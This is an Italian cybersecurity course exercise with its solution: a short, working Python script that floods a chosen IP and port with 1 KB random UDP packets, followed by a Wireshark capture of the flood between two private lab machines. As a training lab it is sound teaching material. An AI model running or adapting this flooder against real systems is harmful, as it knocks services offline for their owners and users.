

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target input
- Il programma deve richiedere l'inserimento della porta target input
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input

```
Pacchetto UDP.py > ...
Click here to ask Blackbox to help you code faster
1 import socket
2 import random
3
4 #Richiedi inserimento IP target
5 ip_target = input("Inserisci Ip target: ")
6
7 # Richiedi l'inserimento della porta target
8 porta_target = int(input("Inserisci la porta target: "))
9
10 # Richiedi all'utente quanti pacchetti da inviare
11 numero_pacchetti = int(input("Quanti pacchetti vuoi inviare? "))
12
13 # Crea un socket UDP
14 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
15
16 # Genera un pacchetto UDP
17 dati_da_inviare= random._urandom(1024)
18
19 # Invia il pacchetto UDP
20 for x in range(numero_pacchetti):
21     sock.sendto(dati_da_inviare, (ip_target, porta_target))
22     print("[Pacchetto UDP inviato]")
```

The screenshot shows a Kali Linux virtual machine environment. The terminal window displays the execution of the 'Pacchetto UDP.py' script, which prompts for target IP (192.168.32.101), target port (80), and number of packets (100). The network traffic capture window shows a series of UDP packets being sent from the attacker's IP (192.168.32.100) to the target IP (192.168.32.101) on port 80. The packet details window shows the structure of a captured packet, including Ethernet II, Internet Protocol Version 4, and Internet Control Message Protocol.

No.	Time	Source	Destination	Protocol	Length	Info
41	201.858967335	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
42	201.859481745	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
43	201.859801559	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
44	201.860082838	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
45	201.860382240	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
46	201.860669234	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
47	201.860945895	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
48	201.861220143	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
49	201.861510112	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
50	201.861784272	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
51	201.862058744	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
52	201.862360539	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
53	201.862649299	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
54	201.863074156	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
55	201.863361579	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
56	201.863640793	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
57	201.863920646	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
58	201.864202583	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
59	201.864484491	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
60	201.864770143	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
61	201.865057733	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
62	201.865351151	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
63	201.865612882	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
64	201.865871277	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024
65	201.866128746	192.168.32.100	192.168.32.101	UDP	1066	44619 → 80 Len=1024

Frame 1: 98 bytes on wire (784 bits), 98 bytes captured
Ethernet II, Src: PcsCompu_cb:7e:f5 (08:00:27:cb:7e:f5)
Internet Protocol Version 4, Src: 192.168.32.100, Dst:
Internet Control Message Protocol